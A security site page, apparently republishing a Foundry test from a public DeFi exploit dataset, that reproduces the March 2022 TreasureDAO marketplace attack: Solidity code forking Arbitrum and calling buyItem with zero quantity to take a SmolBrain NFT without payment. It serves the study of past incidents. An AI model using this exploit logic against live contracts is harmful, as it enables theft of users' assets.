Skip to content
THREATWIRE

Public reproduction file

src/test/2022-03/TreasureDAO_exp.sol

Public reproduction file for dataset entry TreasureDAO.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-03/TreasureDAO_exp.sol29 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity 0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7contract ContractTest is Test {
8 ITreasureMarketplaceBuyer itreasure = ITreasureMarketplaceBuyer(0x812cdA2181ed7c45a35a691E0C85E231D218E273);
9 IERC721 iSmolBrain = IERC721(0x6325439389E0797Ab35752B4F43a14C004f22A9c);
10 uint256 tokenId = 3557;
11 address nftOwner;
12 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
14 function setUp() public {
15 cheats.createSelectFork("arbitrum", 7_322_694); //fork arbitrum at block 7322694
16 }
18 function testExploit() public {
19 nftOwner = iSmolBrain.ownerOf(tokenId);
20 emit log_named_address("Original NFT owner of SmolBrain:", nftOwner);
21 itreasure.buyItem(0x6325439389E0797Ab35752B4F43a14C004f22A9c, 3557, nftOwner, 0, 6_969_000_000_000_000_000_000);
23 emit log_named_address("Exploit completed, NFT owner of SmolBrain:", iSmolBrain.ownerOf(tokenId));
24 }
26 function onERC721Received(address, address, uint256, bytes memory) public virtual returns (bytes4) {
27 return this.onERC721Received.selector;
28 }

Analysis

Dataset entry

Public Foundry test for “TreasureDAO” (2022-03-03). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

13 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

File record

Name
TreasureDAO
Path
src/test/2022-03/TreasureDAO_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
68eda2e247e23159d8bdf8f0731334781b8e907c
Language
Solidity
Size
30 lines
Date
2022-03-03
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-03/TreasureDAO_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 68eda2e247e23159d8bdf8f0731334781b8e907c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.